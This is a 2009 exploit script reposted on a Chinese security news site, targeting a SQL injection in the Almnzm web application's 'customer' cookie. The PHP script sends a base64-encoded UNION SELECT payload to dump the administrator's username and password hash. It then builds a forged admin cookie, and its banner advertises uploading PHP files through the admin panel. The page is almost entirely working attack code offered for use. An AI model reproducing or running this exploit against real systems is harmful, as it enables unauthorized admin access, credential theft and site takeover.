首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Almnzm (COOKIE: customer) Remote SQL Injection Vulnerability
来源:www.vfcocus.net 作者:Qabandi 发布时间:2009-06-30  

<?
print_r('
                                       ||          ||   | ||
                                o_,_7 _||  . _o_7 _|| q_|_||  o_///_,
                               (  :  /    (_)    /           (      .

                                        ___________________
                                      _/QQQQQQQQQQQQQQQQQQQ\__
---Script Almnzm SQL INJECTION     __/QQQ/````````````````\QQQ\___
                                 _/QQQQQ/                  \QQQQQQ\
---"Powered by Almnzm"          /QQQQ/``                    ```QQQQ\
                               /QQQQ/                          \QQQQ\
---admin cookie create        |QQQQ/    By  Qabandi             \QQQQ|
---Add PhP Ext                |QQQQ|                            |QQQQ|
---Upload php in adminCP      |QQQQ|    From Kuwait, PEACE...   |QQQQ|
                              |QQQQ|                            |QQQQ|
                              |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
                               \QQQQ\                      __  /QQQQ/
                                \QQQQ\                    /QQ\_QQQQ/
                                 \QQQQ\                   \QQQQQQQ/
                                  \QQQQQ\                 /QQQQQ/_
                                   ``\QQQQQ\_____________/QQQ/\QQQQ\_
                                      ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
');

if ($argc<3) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' localhost /mnzm/
-----------------------------------------------------------------------------
');
die;
}
$host = $argv[1];
$p = "http://".$host.$argv[2];

 function QAB_GET($qabandi, $from){
$content = $from;
preg_match_all("/<".$qabandi.">([^<]+)<\/".$qabandi.">/",
    $content,
    $out, PREG_PATTERN_ORDER);

return $out[1][0];
 }

 

          $packet ="GET ".$p."index.php?action=creatticket&step=2 HTTP/1.0\r\n";
          $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          $packet.="Pragma: no-cache\r\n";
          $packet.="Cookie: customer=LTInIFVuSW9OIFNlTGVDdCAxLGNvbmNhdChDSEFSKDYwLDExOCwxMDEsMTE0LDExNSwxMDUsMTExLDExMCw2MiksVmVSc0lvTigpLENIQVIoNjAsNDcsMTE4LDEwMSwxMTQsMTE1LDEwNSwxMTEsMTEwLDYyKSksY29uY2F0KENIQVIoNjAsMTA5LDk3LDEwNSwxMDgsNjIpLGVtYWlsLENIQVIoNjAsNDcsMTA5LDk3LDEwNSwxMDgsNjIpKSw0LDUsNixjb25jYXQoQ0hBUig2MCwxMTIsOTcsMTE1LDExNSw2MikscGFTU1dvcmQsQ0hBUig2MCw0NywxMTIsOTcsMTE1LDExNSw2MikpLDgsY29uY2F0KENIQVIoNjAsMTE3LDExNSwxMDEsMTE0LDYyKSxuQU1FLENIQVIoNjAsNDcsMTE3LDExNSwxMDEsMTE0LDYyKSksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMgZlJPbSBNT0RlckFUb3JzICAvKjpxYWJhbmRpOnFhYmFuZGk=".";\r\n";
          $packet.="Connection: Close\r\n\r\n";
 $o = @fsockopen($host, 80);
 if(!$o){
  echo "\n[x] No response...\n";
  die;
 }
 
 fputs($o, $packet);
 while (!feof($o)) $data .= fread($o, 1024);
 fclose($o);
 
 $_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
 if ( !empty($_404) ){
  echo "\n[x] 404 Not Found... Make sure of path. \n";
  die;
 }
 
echo "\n\n---Qabandi Is Here-------------------------------------------\n\n";

$Q_ver = QAB_GET("version", $data);
$Q_usr = QAB_GET("user", $data);
$Q_pwd = QAB_GET("pass", $data);


echo "[q]version:\n".$Q_ver."\n\n";
echo "[q]Admin User:\n".$Q_usr."\n\n";
echo "[q]Admin Hash:\n".$Q_pwd."\n\n";

$qookie = base64_encode(":".$Q_usr.":".$Q_pwd);

echo "\n---Admin Cookie:\n";
echo "\n\njavascript:document.cookie='user=".$qookie."';\n\n";
echo "\n\n---Qabandi Was Here------------------------------------------\n\n";
die;
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HT-MP3Player 1.0 (.ht3 File) L
·HT-MP3Player 1.0 (.ht3) Univer
·SCMPX 1.5.1 (.m3u File) Local
·Joomla com_bookflip (book_id)
·Bopup Communications Server (3
·Newsolved 1.1.6 (login grabber
·VideoLAN VLC Media Player 0.9.
·linux/x86 execve shellcode gen
·Joomla Component com_php (id)
·linux/x86 reboot() polymorphic
·Versions 1.1 and below of the
·Versions 1.0.1 and below of th
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved